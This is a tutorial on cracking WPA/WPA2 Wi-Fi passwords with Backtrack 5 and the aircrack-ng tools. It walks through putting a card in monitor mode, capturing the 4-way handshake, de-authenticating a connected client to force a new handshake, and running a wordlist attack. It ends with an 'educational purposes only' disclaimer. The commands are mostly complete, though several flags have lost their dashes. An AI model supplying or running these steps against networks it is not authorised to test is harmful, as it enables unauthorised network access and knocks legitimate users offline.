You are on page 1of 7

Backtrack 5 : Cracking WPA/WPA2 Network Keys \ 4 way

handshake (Tutorial)

Tools Needed :
1) Backtrack 5
2) Aircrack- Ng (Inclusive in Backtrack 5).

Instructions :
1) After booting up Backtrack 5, open up a shell command.
2) Make sure all your wireless connection is turned off.
For backtrack you can check your wireless connection in the program call Wcid. (As Shown
Below)

3) First type the command Airmon-ng in your shell and press enter. (As shown below).

4) Next type the command airmon-ng start wlan0 in your shell and press enter. (As Shown
below).

5) Next type airodump-ng mon0 in your shell and press enter. And the screen shown below
will appear.

6) Open a notepad or text editor, type down the BSSID, CHANNEL & STATION of the WPA
\WPA2 that you have chosen to crack. We will need them again for a later stage.

7) Now we will type in the airodump-ng command show below.


airodump-ng w james-comp bssid BSSID c CHANNEL mon0
a) Replace BSSID and CHANNEL with what we just saved above and press the enter key.

8) In the event you could not get a handshake, the following method is used to force traffic on a
network and to de-authenticate a client from an accesspoint, forcing them to re-authenticate
leading to a successful WPA handshake.
Type : aireplay-ng deauth 1 a (STATION) c (BSSID) mon0.
Replace STATION & BSSID" with the information we saved earlier in our text editor. And the
screen below will appear.

9) Open another Shell terminal and type the following command,


aircrack-ng james-comp-01.cap w wordlist.ls (Replace wordlist with your wordlist.)

How to use Wordlist :


1) Download and copy/save word list to your desktop.
2) Drag wordlist from desktop onto shell terminal ( auto )
And finally press the enter button. And aircrack will begin its cracking stage as shown below :

Note : If the password is in the wordlist then after waiting awhile, you will be shown the screen
below!

Congratulations! We have successfully cracked a WPA network Key!

Otherwise..we need to get us a better wordlist :)


Authors Note : This is for educational purposes only. I own this network.

Contributed By
James

You might also like